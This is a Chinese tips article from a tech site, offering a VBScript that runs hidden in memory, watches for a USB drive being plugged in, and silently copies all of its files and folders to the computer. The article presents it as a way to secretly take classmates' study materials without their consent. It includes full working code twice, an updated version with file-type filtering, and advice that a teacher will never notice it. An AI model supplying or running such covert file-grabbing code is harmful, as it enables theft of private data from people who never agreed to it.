高手分享:U盘自动复制文件的小妙招
时间:2023-03-01 12:57:38
在学校学习的时候,都会遇到一些吝啬的人,不愿意分享学习资料,像这样的问题,我们只要将我们的U盘插入电脑后,会自动复制,这样不声不响地搞定这些资料,我们来看看操作步骤吧。
运行
1、建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样。
2、把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:USB代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:*代替红色部分,F盘就是f:*,
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。[page]
注意和第一个的区别
3、复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
文件夹选项
4、后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
5、要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
更新:
现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:","请输入复制到的文件夹","C:USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":"
folder=folder & ""
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
红色部分全部复制到一个文本文件,然后保存,后缀改成.VBS即可。好了,通过以上的设置之后,我们便能让我们的U盘在插入电脑后实现自动复制了,相信本文的教程将是业内界的好东西,但是切记不能作为不法用途哦。
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Win11升级黑屏只有鼠标怎么办?Win11升级黑屏只有鼠标解决方法
![](https://img.aspxhome.com/file/2023/1/a281577_0s.jpg)
Win10怎么关闭自带杀毒软件?2招彻底关闭Windows Defender方法
![](https://img.aspxhome.com/file/2023/28/a241387_0s.jpg)
win11电量始终在57%充不进怎么办 ?win11电量始终在57%解决方法
![](https://img.aspxhome.com/file/2023/28/a239897_0s.jpg)
Word2003图片水印的添加方法
![](https://img.aspxhome.com/file/2023/6/21066_0s.jpg)
9招搞定Word文本操作
![](https://img.aspxhome.com/file/2023/0/18060_0s.png)
microsoft office多余组件卸载方法图文教程
![](https://img.aspxhome.com/file/2023/3/15603_0s.png)
excel2003如何设置表格的边框和填充颜色
![](https://img.aspxhome.com/file/2023/5/a140475_0s.jpg)
用word简单制作组织架构图
![](https://img.aspxhome.com/file/2023/7/27567_0s.jpg)
Win10提示你的设备已过期,并缺少重要的安全和质量更新怎么办?
![](https://img.aspxhome.com/file/2023/25/a218862_0s.jpg)
PPT演讲如何防止忘词?演示者视图的使用方法
![](https://img.aspxhome.com/file/2023/10/a350666_0s.jpg)
Win10文件夹如何设置密码?Win10文件夹设置密码的方法
![](https://img.aspxhome.com/file/2023/25/a218982_0s.png)
word怎么取消文本框填充
![](https://img.aspxhome.com/file/2023/9/31829_0s.jpg)
WPS Office怎么制定试卷
![](https://img.aspxhome.com/file/2023/3/53673_0s.jpg)
Win 10正式版开始菜单打不开的临时解决方法
![](https://img.aspxhome.com/file/2023/2/a284633_0s.jpg)
怎么在WPS表格中竖排文字
艺术创作App推荐!在Mac上迈出创作的第一步
![](https://img.aspxhome.com/file/2023/4/a208494_0s.png)
PPT2016背景音乐该怎么设置?
![](https://img.aspxhome.com/file/2023/10/a346998_0s.jpg)
电脑USB供电不足该怎么办?
![](https://img.aspxhome.com/file/2023/6/a323157_0s.jpg)
在excel中怎么合并单元格
如何利用Win10“任务计划程序”实现“任务管理器”开机自动启动
![](https://img.aspxhome.com/file/2023/30/a262709_0s.png)